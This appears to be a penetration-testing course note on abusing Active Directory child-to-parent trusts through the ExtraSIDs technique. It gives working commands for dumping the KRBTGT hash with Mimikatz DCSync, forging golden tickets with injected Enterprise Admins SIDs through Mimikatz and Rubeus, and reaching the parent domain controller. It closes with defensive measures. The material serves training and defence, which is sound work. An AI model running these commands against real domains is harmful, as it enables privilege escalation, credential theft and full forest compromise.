25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
I. SID History Primer
Purpose:
Used in Active Directory migrations to retain access to resources from the original domain after a user is migrated.
Mechanism:
The original user's Security Identifier (SID) is stored in the
sidHistory
attribute of the new account in the target domain.
Abuse Potential:
Attackers can inject privileged SIDs into the
sidHistory
attribute of a compromised account.This allows privilege escalation by impersonating high-privilege users or groups.
II. ExtraSIDs Attack - Mimikatz
Concept:
Exploits the absence of SID filtering within an Active Directory forest to escalate privileges.
Injects the SID of the Enterprise Admins group into a user's
sidHistory
attribute.Grants the attacker Enterprise Admin privileges within the parent domain.
Requirements:
KRBTGT hash of the child domain.
SID of the child domain.
Name of a target user in the child domain (can be nonexistent).
FQDN of the child domain.
SID of the Enterprise Admins group in the parent domain.
Attack Steps:
Obtain KRBTGT hash:
lsadump::dcsync /user:LOGISTICS\krbtgt
Retrieve Child Domain SID:
Get-DomainSID
Retrieve Enterprise Admins SID:
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
OR
Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"
Execute ExtraSIDs Attack using Mimikatz:
kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
Verify the Ticket:
klist
Access Parent Domain Resources:
dir \\academy-ea-dc01.inlanefreight.local\c$
III. ExtraSIDs Attack - Rubeus
Concept:
An alternative method for executing the ExtraSIDs attack.
Attack Steps:
Gather Required Data (Same as Mimikatz).
Perform ExtraSIDs Attack using Rubeus:
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
Verify Ticket in Memory:
klist
Perform DCSync Attack or Other Privileged Actions:
lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
IV. Security Considerations & Defense Strategies
Enable SID Filtering:
Prevents SID injection across trusts.
Command:
netdom trust TrustingDomain /domain:TrustedDomain /quarantine:yes
Monitor for Unauthorized SID History Modifications:
Track changes in event logs (
Event ID 4765
&4766
).
Restrict Privileged Group Membership:
Minimize Enterprise Admins and Domain Admins group membership.
Implement Tiered Administration Model:
Reduce exposure of high-privilege accounts to compromise.
Regularly Audit Trust Relationships:
Identify and remediate unnecessary or insecure trusts.
By understanding and securing against SID History and ExtraSIDs abuse, organizations can reduce the risk of privilege escalation and domain compromise.
Last updated